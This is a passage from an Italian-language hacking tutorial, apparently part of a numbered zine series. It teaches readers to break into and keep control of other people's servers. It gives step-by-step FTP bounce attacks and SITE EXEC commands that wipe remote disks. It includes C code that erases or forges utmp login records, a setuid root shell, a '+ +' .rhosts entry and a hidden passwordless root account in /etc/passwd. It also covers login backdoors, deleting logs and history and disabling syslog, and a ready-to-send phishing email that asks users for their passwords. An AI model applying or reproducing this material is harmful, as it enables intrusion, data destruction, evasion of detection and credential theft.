NOTA IMPORTANTE: alla fine del file dei comandi bisogna aggiungere circa 60 kilobyte di byte 0, affinchè la connessione duri abbastanza e non si interrompa bruscamente. Per creare tale file basta usare "debug" (sotto DOS) scrivendo:

```
DEBUG PROVA                                          <-- noi
File non trovato
-f 100,F000,0                                        <-- noi
-rcx                                                 <-- noi
:0000
EA60                                                 <-- noi
-w                                                   <-- noi
Scrittura di EA60 bytes in corso...
-q                                                   <-- noi
```

Ora un file chiamato "PROVA" di dimensioni 60000 byte sarà stato creato.
Se il nostro file dei comandi l'abbiamo chiamato "comandi" (che fantasia...) scriveremo:

```
copy /b comandi+prova finale
```

E un nuovo file, "finale", verrà creato. Questo sarà il file da inviare.

ATTENZIONE: questo va fatto TUTTE le volte che useremo il metodo dell' FTP Bounce, non solo nel caso della FakeMail.

Facciamo ora un altro esempio, un pò più complesso.

A volte capita di trovare un server che non ci permette di prelevare un file perché magari il provider da cui chiamiamo è in Italia e il suddetto server invece si trova all'estero e non vuole dare accesso a chi proviene da *.it e cose del genere. Come fare, allora?

Creeremo un file dei comandi contenente quanto segue:

```
user anonymous
pass nessuno@niente.com
cwd /directory/dove/si/trova/il/file
type i
port X,X,X,X,Y,Y
retr nome_del_file_da_prelevare
quit
```

(ovviamente anche questo file va "trattato" con debug e copy).

Chiamiamo questo file con un nome come "bounce".

Nel file sopra dovrete sostituire directory e nome file. X,X,X,X è il
vostro IP Address, e Y,Y è spiegato più giù.

Ecco cosa bisogna fare:

- Collegatevi con Telnet alla porta 21 del server "base"
- Scrivete PASV (e invio, ovviamente)
- Il server risponderà con qualcosa come 111.22.33.44,0,21
- Prendete nota degli ultimi due numeri (0 e 21)
- Scrivete STOR hahaha
- Ora Telnet si bloccherà, poichè sta aspettando i dati da inviare
- Usate il vostro client FTP, collegatevi di nuovo al server e inviate il file (nel nostro esempio l'abbiamo chiamato bounce)
- Ora aprite un altro client Telnet, collegatevi di nuovo al server "base" sulla porta 21 e scrivete PORT x,x,x,x,0,21 (dove x.x.x.x è l'IP Address del server da attaccare, cioè quello da cui volete prelevare i file)

- Scrivete RETR bounce (se avete chiamato "bounce" il file dei comandi) - Dopo un certo tempo (che dipende dalle dimensioni del file da scaricare) troverete il file desiderato nel server "base", con il nome "hahaha".

Esistono molti altri metodi per utilizzare l'FTP Bounce; ad esempio se volete "bombardare" un utente su IRC, potete creare un file dei comandi contenente una serie di DCC CHAT, PRIVMSG, ecc. (solo se conoscete bene IRC) e farli mandare dal vostro server "base" a uno (o molti) server IRC.

Potete inoltre usarlo per collegarvi a una shell (i comandi Telnet vanno messi nel file dei comandi) e leggere il file delle password e fare altre cose senza essere scoperti. Ad esempio potete usare "cat < /etc/shadow" per visualizzare un file delle password shadow, o un "rm -rf *" (molto utile per rendere la vita miserabile ai SysAdmin che si stancano di fare un backup di tutti i files dei loro sistemi)...

Vale la pena di spendere ancora un paio di parole sui bugs di FTP.

SITE EXEC è un comando che si trova in molti server, sia per Unix che per Windows. Non è un bug, ma un comando che sembra essere stato fatto apposta per un hacker.malicious :) A cosa serve, vi chiederete...

Utilizzando Telnet sulla porta 21 di un server FTP, inviate i comandi USER e PASS come visto sopra, in modo da accedere in modo "anonimo" al server, e poi digitate SITE EXEC seguito da un comando. Se SITE EXEC è implementato, il vostro comando verrà eseguito.

Un modo per conoscere quali comandi sono implementati su un server FTP si può usare il comando HELP.

Un'attività che personalmente *adoro* praticare è andare sui canali IRC per pedofili, aspettare che qualcuno faccia pubblicità all'indirizzo del proprio server FTP pieno di schifezze e fare un pò di pulizia usando il comando:

```
SITE EXEC rm -rf *
```

...se il server è per Unix (come ftpd). Oppure usando format /autotest se
il server è (praticamente sempre) per Windows (Serv-U, WarFTP).

CONCLUSIONE PRIMA SEZIONE

~~~~~~~~~~~~~~~~~~~~~~~~~~

Se non avete compreso il funzionamento di una o più tecniche (sperando che non siano troppe) non dovete preoccuparvi: col tempo le capirete, e molto probabilmente ne apporterete anche vostre personali varianti.

Comunque, dovrete essere voi a decidere quale utilizzare, in quale occasione e se preferire una all'altra. Potreste preferire una tecnica (ad esempio il Bounce) a un exploit (SITE EXEC) o a un hack (Sendmail o PHF). Sta a voi scegliere.

Attenti a non cacciarvi nei guai. Se vi serve aiuto, potete rintracciarmi all'indirizzo Lord.Shinva@usa.net
~~~~~~~~~~~~~~~~~~~~~~~~~~

HACKING PRATICO: PARTE 1

~~~~~~~~~~~~~~~~~~~~~~~~~~

Passiamo ora dalla teoria alla pratica: come vi ho già detto nel precedente volume è bene che vi facciate un account su una delle tante BBS via Telnet che sono presenti su Internet, in modo da poter accedere via Telnet ai vari servizi senza doverci preoccupare di dover cancellare il nostro IP Address.

Ovviamente per avere la certezza di non lasciar tracce dovremmo applicare delle misure di sicurezza addizionali, come cancellare i log di sistema e utilizzare un account di qualcun altro... ma in genere una shell di una BBS via Telnet può bastare (a meno che non abbiate in mente di hackerare un mainframe del Pentagono o del NORAD).

Prima di usare il vostro client Telnet preferito ricordate le tecniche di "bounce" di cui vi avevo parlato un pò di tempo fa?
Rivediamole brevemente: usando un programma come Telnet, Finger, FTP, ecc.
è possibile effettuare un collegamento ricorsivo: in pratica, se il server sul quale abbiamo l'accesso shell è sito.com noi potremo collegarci ad esso e una volta dentro potremo usare Telnet, Finger, ecc. per collegarci ancora una, due, tre volte a sito.com. Ciò può sembrare stupido: collegarsi a un sito, e da questo collegarsi di nuovo allo stesso sito!

In realtà è un ottimo metodo per nascondere il nostro IP Address. Infatti, ogniqualvolta ci colleghiamo a un sito lasciamo l'IP Address del server sul quale siamo collegati. Normalmente, questo è l'IP Address del provider che stiamo usando, e da esso si può risalire a noi.
Ma se disponiamo di un account su una BBS via Telnet (come detto prima), non dovremo far altro che collegarci ad essa, e qualsiasi cosa faremo tramite la sua shell, anzichè il nostro IP lasceremo quello della BBS.
Ovviamente però la vittima degli attacchi potrebbe rivolgersi al SysAdmin della BBS e questi troverebbe il vostro IP Address nei suoi log.
Ricapitolando: la vittima ha l'IP della BBS (perché è da li` che vi siete collegati), mentre la BBS ha il vostro IP.

Se poi dalla BBS ci colleghiamo tramite Telnet alla BBS stessa, l'IP Address registrato non sarà il nostro ma quello della BBS! Quindi ora il nostro IP non compare più da nessuna parte. Per essere ancora più sicuri potremmo iterare la connessione una terza volta, oppure collegarci dalla BBS primaria a un'altra BBS su cui abbiamo un account (bounce)... insomma, basta usare la fantasia :)

Ma ora occupiamoci dei log di sistema. Le nostre lezioni sull'hacking si baseranno principalmente su Unix (e quindi le varianti come Linux, ecc.) ma in futuro tratteremo anche altri sistemi come Windows NT e Macintosh.

HACKING PRATICO: DISSIMULAZIONE

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

I file di log più "pericolosi" che contengono le tracce da cancellare sono /etc/utmp e /etc/wtmp ma un SysAdmin (a meno che non sia improvvisamente impazzito) sa che proprio per evitare "manomissioni" tali file vanno protetti e quindi in genere non è possibile, per un utente qualsiasi, scrivere in essi.

I "permessi" di lettura, scrittura e cancellazione di file e directory sotto Unix sono nella forma drwxrwxrwx (non spaventatevi! =) dove:

"d" sta per directory (se c'è è una directory, altrimenti è un file)
"r" sta per read (accesso in lettura consentito)
"w" sta per write (accesso in scrittura consentito)
"x" sta per execute (è permesso eseguire il file)

Quando una o più di questi permessi non sono abilitati (non è consentito fare una cosa, come nel caso di r w x oppure non si tratta di una directory nel caso di d) al loro posto troveremo un trattino (-).
Escludiamo ora il primo carattere, che serve solo a capire se stiamo avendo a che fare con un file o una directory, e passiamo agli altri. Essi sono raggruppati in tre gruppi di tre caratteri ciascuno: il primo gruppo si riferisce a cosa può fare l'utente, il secondo a cosa può fare il gruppo e il terzo a cosa possono fare gli altri. Un esempio: -rwxrw-r-- significa che l'utente può leggere, scrivere ed eseguire il file (rwx), il secondo (rw-) significa che il gruppo (vedi spiegazione sui file delle password) può leggere e scrivere, ma non eseguire il file, mentre l'ultimo (r--) significa che gli altri possono soltanto leggere il file, ma non modificarlo.

Per visualizzare i permessi di un file useremo il comando LS di Unix. Esso equivale grossolanamente al comando DIR del DOS.
L'uso di LS per visualizzare i permessi di file e directory è il seguente:

ls -l nome_e_percorso_del_file

Quindi, nel caso di utmp faremo: ls -l /etc/utmp dalla nostra shell.
Vediamo dunque dal risultato di questo comando se abbiamo il permesso di scrivere in quel file: se il terzo carattere (nella forma vista prima) è la lettera "w" (write) abbiamo tali permessi. Se invece è un trattino, dovremo accontentarci di nascondere il nostro IP Address... oppure hackerare root per avere tutti i permessi abilitati :)

Se dunque abbiamo il permesso di scrittura, potremo nascondere le nostre tracce... o dissimulare il nostro username. Mi spiego meglio: supponiamo che il nostro username è "hacker". Il nostro scopo è farlo scomparire dai log, ma potremmo anche volerlo cambiare e far ricadere la colpa su qualcun altro che abbia un certo username, o ancora far comparire nei log un username inesistente (ad esempio qualche parolina per sfottere un pò il SysAdmin enl caso in cui vada a leggersi il log per risalire a noi).

Ecco il programma in C (per Unix) che farà entrambe le cose, a seconda di quella che ci serve:

```
-= INIZIO CODICE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

#include
#include
#include
#include
#include

struct utmp *user;
char *usrt;

main (argc,argv)
int argc;
char *argv[];
{
  int fatto=0, cnt=0, start=1, index=0;
  char err[80];
  if (argc == 1) printf("Removing you from utmp\n");
  if (argc == 2) printf("Changing your login to %s\n",argv[1]);
  utmpname("/etc/utmp");
  usrt = strrchr(ttyname(0),'/');
  strcpy(usrt,++usrt);
```

```
  while (fatto != 1) {
    user = getutent();
    cnt++;
    if (strcmp(user->ut_line,usrt) == 0) fatto=1;
  }
  utmpname("/etc/utmp");
  for (start=0; startut_type = LOGIN_PROCESS;
    strcpy(user->ut_name,"LOGIN");
  }
  else user->ut_type = USER_PROCESS;
  if (argc == 2) strcpy(user->ut_name,argv[1]);
  pututline(user);
  endutent();
}

-= FINE CODICE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

Ovviamente dovrete avere almeno un pò di dimestichezza con Unix... vi basterà salvare questo listato sotto forma di file di testo, e inviarlo in una directory del server da hackerare, dopodichè dovrete compilare il file usando gcc oppure cc (i due compilatori C più usati sotto Unix), digitando nella shell: gcc nome_del_file.c
Se tutto è andato bene, troverete nella directory un file compilato (se il nome del file era nascondi.c il nome del file eseguibile sarà semplicemente "nascondi"). L'uso è semplice: eseguendo il file le vostre tracce saranno cancellate da utmp. Scrivendo invece (ad esempio): nascondi hahaha il vostro username non sarà cancellato da utmp, ma verrà sostituito con "hahaha".

Se avete il permesso in scrittura su utmp e non volete cimentarvi con il C e i compilatori (dovrete farlo prima o poi, se volete imparare seriamente) e volete ancora eliminare il vostro username dal log, dovrete:

1) Usare la tecnica del collegamento ricorsivo con Telnet (vista all'inizio di questo file) per nascondere l'IP;
2) Modificare il file utmp per rimuovere l'username... o eliminarlo.

Comunque vi consiglio caldamente di evitare questa "manovra" estrema e di usare il programma in C sopra riportato.

Nel prossimo volume impareremo a destreggiarci in un sistema, e a rimanerci.
Vedremo come funziona una "backdoor" e come mantenere accesso root nel tempo.
Nel frattempo, se avete installato Unix o Linux sul vostro computer (non l'avete fatto ancora?? che aspettate? la miglior teoria è la pratica ;)
sarebbe bene prendere dimestichezza con il compilatore C e con i comandi di base (come cat e ls), e dare poi uno sguardo ai file utmp e wtmp per vedere come sono strutturati. Provate anche a compilare e usare il programma in C presente in questo file.

Buon lavoro!

HACKING PRATICO: PARTE 2

~~~~~~~~~~~~~~~~~~~~~~~~~~

Ora sappiamo come nascondere le nostre tracce, e come ottenere accesso root su un sistema, ma è probabile che non appena il SysAdmin noterà qualche attività sospetta farà di tutto per rendere vano tutto il nostro lavoro e tenerci alla larga dal suo sistema.

Se ciò può ostacolare un hacker alle prime armi, non potrà però fermare chi sa come reagire nel modo giusto in questa guerra virtuale tra Hacker e SysAdmin.

Iniziamo a identificare l'obiettivo principale: cosa ci consente di eseguire qualsiasi comando, avere accesso a tutti i file e le directory, aggiungere o rimuovere a piacimento un account su un server, e cosi` via? Ovviamente la risposta è: la shell di root, ossia /bin/sh.

Ma se l'utente root (cioè il SysAdmin) dovesse toglierci i privilegi root, avremmo solo una possibilità: hackerare di nuovo il server, sperando che il SysAdmin non si sia accorto del metodo che abbiamo utilizzato per "entrare" e non abbia corretto il problema.

Questa ovviamente non è una soluzione brillante... perciò vediamo come fare per avere qualche carta in più da giocare.

Un metodo può essere creare un programma o uno script che abbia i privilegi di root. Infatti, quando copiamo un file ne conserviamo i privilegi; perciò se ad esempio copiamo /bin/sh in /tmp/test anche se poi accediamo al server con un account di un utente qualsiasi (e quindi senza privilegi), /tmp/test avrà la stessa identica funzione di /bin/sh in quanto non abbiamo copiato solo l'eseguibile della shell (sh) ma anche i suoi privilegi. Quindi mentre normalmente /bin/sh non è accessibile agli utenti, /tmp/test (o qualsiasi sia il nome che gli abbiamo voluto dare) sarà una shell root utilizzabile da qualsiasi utente che sappia della sua esistenza.
Per applicare i nuovi permessi a un file esistente dobbiamo eseguire:

```
chmod 4777 nomefile
```

dove nomefile è (nel nostro caso) /tmp/test oppure un qualsiasi altro file contenente la shell. "chmod" serve a cambiare i permessi di un file.
La parte importante è 4xxx (dove xxx è il permesso standard di quel file).
Se non conoscete bene Unix (e quindi non state capendo niente o quasi) vi consiglio per l'ennesima volta di installare Linux e di sperimentare con i comandi. Usate il comando "man chmod" per avere ulteriori informazioni sul comando chmod, oppure "man comando" per avere informazioni su un qualsiasi altro comando Unix.

Se avete un client rlogin (oppure rsh o rexec) potete fare un'altra cosa.
~~~~~~~~~~~~~~~~~~~~~~~~~~

Come spiegato nel volume 7, il file .rhosts contiene una lista di username e password di chi può accedere a un server senza bisogno di password; in pratica, è una lista di server e utenti "fidati" :)
Aggiungendo una riga contentente soltanto questo:

+ +

(senza le righe vuote prima e dopo) al file .rhosts (ad esempio usando PHF, Sendmail o "cat" da una shell per aggiungere questa riga al file, come spiegato nel volume 5), chiunque potrà accedere al server usando rlogin, rsh e rexec ed eseguire comandi. Se non vogliamo dare accesso a chiunque (per evitare di essere scoperti subito) potremo anche dare accesso solo a noi stessi, usando:

nome_del_nostro_server nostro_username

(anzichè + +), ma NON fatelo se l'account è il vostro... se è di qualcun altro è un discorso, altrimenti non fatelo. Infatti se e quando il SysAdmin darà un'occhiata al file .rhosts troverà in pratica il vostro "biglietto da visita", cioè nome del vostro server e il vostro username! Altro che nascondere l'IP Address ;)
Dato quindi che starete certamente usando uno dei metodi spiegati nell'ottavo volume, come il bounce tramite Telnet, e un account di qualche sperduta BBS oltreoceano, usare + + sarà più che sufficiente nella maggior parte dei casi (diciamo pure sempre).
Un altro metodo ancora è aggiungere un comando a uno dei file script di uno o più utenti. Ma cos'è un file script? Non è altro che un file di testo contenente una lista di comandi da eseguire (come i file .BAT del DOS).
Quindi se aggiungiamo un comando esso sarà eseguito proprio come gli altri.

Gli script sono .login e .logout (che vengono avviati rispettivamente quando un utente si collega o si scollega), ma anche .profile e .cshrc e gli altri che iniziano con un punto in una directory utente.
Aggiungendo ad esempio la riga seguente:

if /tmp/programma exists run /tmp/programma

lo script verificherà se il file /tmp/programma esiste e in caso affermativo lo eseguirà. Questo metodo è quindi l'ideale per eseguire un comando, come ad esempio la shell, oppure per un troiano o una backdoor.

Ma cos'è un troiano? E una backdoor?
Un troiano (detto anche Trojan Horse) è un programma che fa qualcosa di cui chi lo esegue è ignaro. In genere sono concepiti per far danni, o attivare altri programmi.

Una backdoor, invece, è un programma che normalmente è presente sul sistema (ad esempio "login", oppure i comandi presenti nella directory /bin), ma che è stato modificato dall'hacker per fare qualcosa di preciso.
Quasi sempre questo "qualcosa" è accedere alla shell di root o eseguire uno o più programmi.
L'utilità di una backdoor è che anche se un SysAdmin cambia la password di root, o comunque vi impedisce di usare la shell, voi avete sempre questo "passaggio segreto" per entrare nel sistema a sua insaputa, e senza lasciar traccia.

Per chi conosce già un pò di C, diremo che una backdoor, nel caso più semplice, non è altro che qualcosa del tipo:

system('/bin/cp /bin/sh /tmp/usami');

(esegue i comandi tra virgolette, in questo caso copia la shell in tmp) inserita in un punto di un qualsiasi programma.
Un'ulteriore passo è fare in modo che solo chi conosce della backdoor possa farla entrare in funzione. Ad esempio, se la backdoor è stata inserita nel programma "login" potremmo fare in modo che se si avvia login in questo modo:

login Lord_Shinva

anzichè eseguire il codice originale di login verrà eseguita la backdoor, altrimenti verrà eseguito il codice normalmente.
Nient'altro che un semplice "if/then/else" come nella seguente pseudo-codifica:

```
if (strcmp(argv[1],"Lord_Shinva") {
   ...codice della backdoor...
}
else {
```

```
    ...codice di login...
}
```

In genere però creare una backdoor è molto più complicato che creare un troiano, poichè mentre quest'ultimo è un semplice programmino in C che esegue un paio di chiamate system() per eseguire dei comandi, una backdoor deve comportarsi proprio come il programma originale di cui ha preso il posto e quindi è necessario avere il sorgente (listato) del programma originale.
Ciò non è impossibile, ma richiede già una certa bravura con il C e con Unix, e bisogna sapere dove cercare.

Ma vi assicuro che col tempo, se avrete costanza nello studiare e mettere in pratica, creare una backdoor non sarà niente di complicato, una volta reperito il listato del programma da sostituire (potreste addirittura farlo interamente da soli, se si tratta di un programmino come LS).

Nei prossimi volumi impareremo tutto quello che c'è da sapere per avere un controllo più completo del sistema che vogliamo hackerare. Spiegheremo inoltre diversi aspetti di Unix che normalmente sono lasciati ai SysAdmin e agli utenti più esperti... e che quindi ci interessano per poter degnamente competere con essi e sapere sempre come destreggiarsi in ogni situazione.
Ovviamente non potremo spiegare tutto nel prossimo volume, quindi dovremo spezzare le lezioni in paragrafi.

VIRTUOSISMI TECNICI: PARTE 1

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Supponiamo di aver finalmente hackerato un server e di avere username e password di un utente. E ora cosa facciamo? Ci limitiamo a leggere la sua posta, a collegarci via Telnet dal suo account e cose del genere?
Certamente no...

I passi principali nell'hackerare un server consistono nel fare quanto segue:

- prendere tutte le precauzioni prima di collegarsi: preferibilmente usare l'account di qualcun altro (un utente di cui abbiamo crackato la password) e/o usare un account Telnet su una BBS, utilizzare il "bounce" e cosi` via
- scegliere un server (di tipo Unix, in questo caso) e crackarne le password individuando la locazione del file, se le password sono shadow o meno, ecc
- collegarsi con l'account crackato di uno degli utenti di quel server
- utilizzare i comandi "who" e "ps -u vostro_user_name" per vedere chi è on-line e cosa sta facendo (se il SysAdmin è in giro, sarà meglio lasciar perdere e collegarsi più tardi, meglio se di notte o la mattina molto presto)
- digitare "unset HISTFILE" per far si` che il file "history" (dove vengono annotate tutte le operazioni che svolgiamo!) venga eliminato non appena lasceremo il sistema
- inviare, compilare e usare un programma per nasconderci dal log di utmp
- controllare con il comando "who" se "si vede" che siamo in linea
- se non si è riusciti a crackare la password di root, usare un exploit per ottenere accesso root, in modo da poter eseguire comandi nella shell
- OPZIONALE: crearsi un nuovo account su quel server, utilizzando un nome poco vistoso (dare un'occhiata al file delle password per uniformarvi agli altri in modo da non far saltare all'occhio il vostro nuovo account)
- installare una backdoor (se si è in grado di farlo), oppure copiare la shell root /bin/sh in qualche directory "sperduta" sotto falso nome e cambiarne il livello d'accesso con chmod, in modo da poter usare la shell di root anche quando si accede al sistema con l'account di un utente qualsiasi (e quindi senza privilegi); se si è creato un nuovo account (vedi sopra) potremo mettere la shell "segreta" nella nostra directory utente, in modo che nessun altro la noti e possa usarla all'infuori di noi (un buon posto è la directory .term nella directory /users oppure /home/users o comunque dove si trovano le directory degli utenti). Si può anche aggiungere un account al file delle password, in modo da utilizzare la shell root quando ci servirà, utilizzando semplicemente Telnet: usando PHF con il comando "echo stringa >> /etc/passwd" oppure editando direttamente il file delle password si aggiunga...
  nomequalsiasi::numeroutente:numerogruppo:/:/bin/sh
  oppure qualcosa di meno vistoso, come un finto "account di sistema" del tipo...
  spoolsys::13:12:system:/var/spool/:/bin/sh
  (ovviamente si potrà anche utilizzare una password tra i due :: se non si vuole consentire a qualcun altro di accedere a questo account)
- IMPORTANTISSIMO: cancellare tutte le tracce prima di lasciare il server e in particolare...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- tutto quello che viene registrato riguardo al vostro server (host name, IP Address, date e orari) nei files di log in /var/log e /var/adm
- eliminare sempre il file di history del vostro account (.bash_history), e per evitare che venga creato di nuovo lo si setti a null con il comando "ln -s /dev/null .bash_history"
- eliminare il file xferlog contenente il log dei trasferimenti di file (se ne sono fatti)

Ora, quando vorremo collegarci di nuovo per utilizzare la shell root, non dovremo fare che collegarci con l'account di un utente qualsiasi e poi, in base a quello che abbiamo fatto prima, utilizzare la backdoor per accedere a root, oppure usare la shell "segreta" che abbiamo installato.

Tutto questo andrà fatto solo la prima volta, cioè quando hackeriamo il server. Ciò ci consentirà di non far notare un'attività hacker su quel server, cosicchè il nostro account (e soprattutto la shell root ;) durerà più a lungo... anche per moltissimo tempo, se il SysAdmin non sta attento a quel che accade nel suo sistema.

NOTA IMPORTANTE: se non siete ancora in grado di nascondere le vostre tracce come descritto sopra, avrete bisogno di tempo per imparare, perciò NON tentate di hackerare un server. Usate Linux (che spero vi sarete finalmente installati ;) e provate, usando il comando "man nome_comando" ogniqualvolta non capite il funzionamento di un particolare comando.
Sperimentate sempre prima in modalità locale (sul vostro computer), se ne avete la possibilità.

Quando dovete analizzare il contenuto di un file di log alla ricerca di informazioni da cancellare (come il vostro IP Address o l'host name del vostro provider) potete utilizzare "grep" (un comando Unix per cercare una stringa di testo in un file) come in questo esempio:

```
cd /var/log
grep hackers.com *
```

in questo caso cercheremo l'host name "hackers.com" in tutti (*) i file della directory /var/log (ma anche /var/adm).
Se l'output (i risultati della ricerca) è troppo lungo per essere contenuto in una pagina, basterà aggiungere il piping al comando "more", cosi`:

```
grep hackers.com * | more
```

e potremo comodamente scorrere in alto e in basso la nostra lista.

Se ad esempio troverete qualcosa del genere:

nome_file_log data orario nome_software_server nome_del_vostro_provider.com
altro_file_log data orario nome_software_server nome_del_vostro_provider.com
....

saprete che i file nome_file_log e altro_file_log stanno "registrando" cose che non vorreste proprio far sapere al SysAdmin!

Come fregarli? E` presto detto... :)

Esiste un file, chiamato syslog.conf (configurazione log di sistema) che si trova nella directory /etc
Il suo compito è "dire" al sistema cosa loggare (registrare in file di log) e dove mettere i log (un altro file interessante è /etc/login.defs dove è possibile abilitare/disabilitare il logging delle operazioni effettuate con file ad accesso root).

Ci basterà quindi editare il file /etc/syslog.conf e cancellare i file "scomodi"... ma non solo. Affinchè i cambiamenti apportati abbiano effetto, dovremo riavviare il programma syslogd, o più precisamente il suo processo (le operazioni che svolge in background).

Ma prima di riavviare il processo dovremo disattivalo. Per farlo, useremo il comando "kill" (uccidi), in questo modo: digitiamo "ps -x" per vedere a quale numero di processo è associato syslogd. Il primo numero sulla sinistra sarà quello che ci interessa: in pratica, è come un numero di indentificazione che varia da processo a processo.

Digitiamo ora "kill -HUP numero_di_processo" e syslogd verrà disattivato e subito riavviato. Abbiamo ora ottenuto quello che volevamo: niente più "spie" che possano aiutare il SysAdmin ad identificarci.

NOTA: In Unix le maiuscole e le minuscole sono fondamentali. Attenetevi sempre alle mie istruzioni e tenete presente che i comandi sono quasi sempre in minuscolo, mentre le opzioni cambiano effetto a seconda che siano maiuscole o minuscole.

SOCIAL ENGINEERING

~~~~~~~~~~~~~~~~~~~

Social Engineering, ovvero Ingegneria Sociale... cos'è?

E` il metodo più semplice ed efficace per ottenere informazioni che altrimenti non sapreste dove trovare, come ad esempio la password di un utente, o addirittura i suoi dati personali (indirizzo, telefono, ecc).

Sono solo esempi, ma con un pò di fantasia e fortuna potete fare davvero di tutto. Non si tratta, nel caso ve lo stiate chiedendo, di tecniche come quelle che abbiamo visto fino ad ora: niente Telnet, niente file di log, solo voi e la vostra intelligenza.

Ma procediamo per ordine.

Fare del "Social Engineering" significa far credere di essere qualcun altro allo scopo di ottenere qualcosa.
Immaginate di andare dalla segretaria di Bill Gates a chiederle di versare sul vostro conto un paio di milioni. Al massimo vi riderà in faccia... :) Ma se invece fosse lui, il "caro" Bill, a telefonare alla sua segretaria da una riunione d'affari e dirle di sbrigare un attimino una faccenda urgente per conto suo.... ho reso l'idea? ;)

Beh, normalmente ci si limita ad utilizzare il Social Engineering per ottenere password e dati personali, ma l'uso è lasciato a voi.

Si può fare S.E. (Social Engineering) per telefono o via modem (e Internet).

Le regole sono semplici:

- dovete agire "professionalmente" ed essere credibili
- dovete informarvi sull'argomento che state per affrontare

e, se utilizzerete il telefono:

- dovete essere sicuri di voi stessi e di quello che dite - dovete avere una voce credibile, che non sia cioè quella di un ragazzo che vuole sfottere un pò per telefono...

Per quelli che tra voi stanno pensando che il S.E. non funziona: vi basti sapere che praticamente tutti gli hackers più conosciuti utilizzano proprio il S.E. per ottenere le informazioni di cui hanno bisogno.
E` l'unica "tecnica" che, se fatta come si deve, non fallisce e non diventa obsoleta con il passare del tempo.
~~~~~~~~~~~~~~~~~~~

Ma ora veniamo alla pratica.

Supponiamo ad esempio di voler ottenere la password di un utente (sia essa la password del suo account Internet oppure quella della sua mailbox).

In quale caso potremmo chiedere a un utente la sua password?

Probabilmente, nel caso in cui fossimo il SysAdmin (o un tecnico del servizio utenti) del suo provider.

In questo caso, non dovremo fare altro che crearci un account di email su usa.net mailexcite.com che possa sembrare l'indirizzo email di un tecnico del provider, come ad esempio servizio_utenti@usa.net o altro.

Meglio ancora, se avete un account di posta elettronica potete usare iNAME (http://yahoo.iname.com) per creare un account email "virtuale". Potrete cioè crearvi un account come ad esempio servizio_tecnico@fastservice.com (che è MOLTO più credibile di pippo@hotmail.com) e tutta la posta che verrà inviata a quell'account sarà ridirottata anonimamente sul vostro account normale.
Potrete scegliere tra vari nomi di server, e ciò torna a vostro favore.
Se state fingendo di essere del servizio tecnico o help utenti di un provider scegliete qualityservice.com, topservice.com, oppure cyberservices.com.
Ora viene il bello. Supponiamo di voler ottenere una password di un server senza allarmare il SysAdmin tentando di prelevare il file delle password :)

Ciò che vi serve è l'indirizzo di email di un utente qualsiasi di QUEL server. Come trovarlo: se il server ha una messaggistica, un forum dove gli utenti possono chiacchierare... vedete li`.
Altrimenti non scoraggiatevi: collegatevi a http://www.whowhere.com oppure a http://www.four11.com e cercate il server che vi interessa.
Avrete una lista di tutte le email che vi possono interessare, complete di nome e cognome che vi torneranno certamente utili.
Oppure potete usare finger, se è abilitato... facendo "finger @server.com" avrete la lista di tutti gli utenti presenti su quel sistema. Come vedete, ci sono molti modi per ottenere la stessa cosa.

Fate MOLTA ATTENZIONE a non scrivere all'indirizzo del SysAdmin, del Webmaster o di uno dei responsabili o dei tecnici del server!

Trovata la "cavia" ora dovete scrivergli un messaggio di questo tipo:

--->

Da: Servizio_Tecnico@TopService.com
A: utente@provider.it
Soggetto:

Gentile Utente,

per offrirLe un miglior servizio abbiamo aggiornato il server software del ns. Internet Provider. Per problemi tecnici non ci è stato possibile importare il database Utenti, motivo per cui La preghiamo di volerci comunicare al più presto il suo username e la sua password, scrivendo al nostro indirizzo email: Servizio_Tecnico@TopService.com
La ringraziamo per la cortese attenzione.

Cordiali saluti

Dr. Antonio Brambilla
Resp. Servizio Tecnico
XXXX Internet Provider
Via .....

Tel/Fax .....

<---

Poche righe, insomma, ma ben scritte.
E per rendere più convincente il tutto, aggiungete anche informazioni come indirizzo (vero) e nomi e cognomi (falsi), telefono e fax (falsi), ecc...
Vi meraviglierete di come talvolta anche le società che si appoggiano ai provider per l'accesso a Internet cascano in questi trucchi.

NOTA: in alcuni casi può essere utile utilizzare la tecnica delle FakeMail per inviare un "ordine di servizio" a qualcuno da parte di una persona (un dirigente, ad esempio) di cui si conosca però l'indirizzo di email.
Ricordate però che, in caso di risposta, l'email andrà all'indirizzo falso che avremo utilizzato (cioè quello del dirigente!).
Se avessimo invece voluto fare qualcosa di più complicato, come ottenere un qualche tipo di informazioni più o meno riservate da una grande azienda, avremmo dovuto utilizzare (preferibilmente) il telefono. Avere prontezza di riflessi, sicurezza e una voce "adatta allo scopo" in tal caso sarà indispensabile se non si vuole mandare tutto a monte.

Nel caso di personale particolarmente attento (raro...), del tipo che vuole chiedere prima un'autorizzazione al capo e roba del genere, è utile far capire di avere altri affari da sbrigare, di essere seccati dall'inettitudine di quell'impiegato e roba del genere... perdere la pazienza, insomma, senza essere nè patetici nè isterici.

Il resto è lasciato a voi.

HACKING AVANZATO DI WINDOWS NT

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Dal momento che ci stiamo accingendo ad esplorare Windows NT, mi aspetto che conosciate già il funzionamento dei Registry di Windows, in quanto una loro trattazione esula dall'hacking ed è comunque reperibile sia in libreria che su Internet.

Mi limiterò quindi a ricordare solo le basi della sicurezza in Windows NT:

LSA (Local Security Authority, ovvero Autorità di Sicurezza Locale) E` conosciuto anche con il nome di Security Subsystem (Sottosistema di Sicurezza). E` il componente centrale della sicurezza NT ed è preposto all'autenticazione degli utenti e all'audit (logging).

SAM (Security Account Manager, ovvero Manager di Sicurezza degli Account) Fornisce autenticazione al LSA e controlla i gli account per gruppi e utenti.

SRM (Security Reference Monitor, ovvero Monitor della Referenza di Sicurezza) Controlla gli account ogniqualvolta un utente cerca di accedere a un file o directory e gli da o nega il permesso in base ai suoi privilegi d'accesso, e comunica le infrazioni al LSA tramite messaggi di audit.

UI (User Interface, ovvero Interfaccia Utente) E` in pratica quello che l'utente vede, cioè l'interfaccia con la quale egli interagisce e che comunica in modo invisibile con gli elementi appena visti.

ACL (Access Control List, ovvero Lista di Controllo dell'Accesso) Ogni utente ha una ACL che rappresenta i suoi permessi e privilegi in fatto di directory, file, ecc.

